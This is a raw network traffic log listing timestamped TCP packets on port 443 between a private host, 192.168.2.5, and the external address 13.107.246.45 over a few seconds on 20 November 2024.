Nov 20, 2024 06:40:25.899616003 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.900049925 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.900053978 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.901757002 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.901771069 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.902411938 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.902415991 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.902766943 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.902827024 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.903667927 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.903690100 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.904119015 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.904123068 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.904258013 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.904270887 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.904644012 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.904648066 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.997510910 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.997571945 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.997663021 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.997972012 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.997991085 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:25.998001099 CET	49756	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:25.998007059 CET	443	49756	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.001068115 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.001120090 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.001197100 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.001331091 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.001341105 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.002896070 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.003048897 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.003098011 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.003196001 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.003201008 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.003210068 CET	49758	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.003213882 CET	443	49758	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.005228996 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.005275011 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.005439997 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.005543947 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.005556107 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.006772041 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.006923914 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.006975889 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.007039070 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.007057905 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.007069111 CET	49759	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.007075071 CET	443	49759	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.009715080 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.009752035 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.009810925 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.009922981 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.009942055 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.011964083 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.012033939 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.012188911 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.012228012 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.012238979 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.012248993 CET	49757	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.012254000 CET	443	49757	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.014782906 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.014806032 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.014911890 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.015073061 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.015089989 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.663635969 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.663806915 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.666590929 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.673572063 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.673603058 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.673974991 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.674036980 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.674043894 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.674345970 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.674405098 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.674776077 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.674787998 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.675292015 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.675307035 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.675956011 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.675970078 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.676054001 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.676065922 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.676584005 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.676594019 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.775242090 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.775335073 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.775562048 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.775616884 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.775616884 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.775644064 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.775660038 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.777064085 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.777132988 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.777229071 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.777461052 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.777488947 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.777506113 CET	49760	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.777514935 CET	443	49760	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.778125048 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.778230906 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.778292894 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.778525114 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.778587103 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.778701067 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.778903961 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.778903961 CET	49762	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.778913021 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.778929949 CET	443	49762	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.780900002 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.780940056 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.781065941 CET	49761	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.781097889 CET	443	49761	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.781106949 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.781378031 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.781387091 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.785233974 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.785270929 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.785337925 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.785846949 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.785860062 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.787261009 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.787270069 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.787519932 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.787727118 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.787734985 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.788760900 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.788774014 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:26.788850069 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.789066076 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:26.789076090 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.176517963 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.176692963 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.176776886 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.240748882 CET	49753	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.240782022 CET	443	49753	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.388149023 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.388207912 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.388343096 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.390948057 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.390963078 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.422482967 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.424518108 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.434817076 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.444375992 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.465439081 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.465440035 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.481054068 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.496684074 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.551417112 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.551431894 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.551872015 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.551877022 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.552099943 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.552113056 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.552530050 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.552536011 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.553004980 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.553009987 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.553391933 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.553395987 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.553663969 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.553669930 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.554060936 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.554065943 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.649226904 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.649296999 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.649352074 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.649990082 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.650038958 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.650088072 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.652892113 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.652954102 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.653759956 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.655610085 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.655680895 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.657774925 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.710918903 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.710936069 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.711875916 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.711889982 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.713042021 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.713049889 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.713062048 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.713067055 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.714216948 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.714222908 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.714266062 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.714270115 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.756200075 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.756294966 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.756372929 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.823936939 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.824027061 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.879806042 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.879865885 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.879930973 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.888426065 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.888499975 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.888575077 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.888576984 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.888628006 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.890681982 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.890717983 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.891325951 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.891381025 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:27.891458988 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.891717911 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:27.891729116 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.056891918 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.060858011 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.060892105 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.061393976 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.061398029 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.160656929 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.160823107 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.160883904 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.175489902 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.175533056 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.175549984 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.175559044 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.195847034 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.195919991 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.196312904 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.196682930 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.196711063 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.477978945 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.500276089 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.500313044 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.500756979 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.500772953 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.521864891 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.522351027 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.522382975 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.522891998 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.522901058 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.550412893 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.551476002 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.551503897 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.551979065 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.551984072 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.559897900 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.563210964 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.563260078 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.563810110 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.563818932 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.598212004 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.598273039 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.598381996 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.599607944 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.599637032 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.599652052 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.599658966 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.604150057 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.604197979 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.604463100 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.604593039 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.604612112 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.621650934 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.621706963 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.621762037 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.621870041 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.621884108 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.621895075 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.621901989 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.624085903 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.624124050 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.624192953 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.624308109 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.624321938 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.663327932 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.663398981 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.663494110 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.666037083 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.666068077 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.671051979 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.671118021 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.671183109 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.671613932 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.671633959 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.671643019 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.671648979 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.671911001 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.671953917 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.672059059 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.672192097 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.672205925 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.674220085 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.674312115 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.674407959 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.674529076 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.674560070 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.845925093 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.846411943 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.846465111 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.846893072 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.846899986 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.947069883 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.947252035 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.947338104 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.947431087 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.947457075 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.947472095 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.947479963 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.950725079 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.950800896 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:28.950946093 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.951123953 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:28.951159954 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.239931107 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.240348101 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.240370989 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.240767956 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.240772963 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.286329031 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.286747932 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.286781073 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.287184000 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.287189007 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.305404902 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.305779934 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.305860996 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.306210041 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.306225061 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.323004961 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.323302031 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.323379993 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.323754072 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.323767900 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.342281103 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.342334986 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.342391968 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.349020004 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.349040985 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.349091053 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.349097013 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.352081060 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.352174044 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.352277994 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.352396011 CET	49787	443	192.168.2.5	13.107.246.45
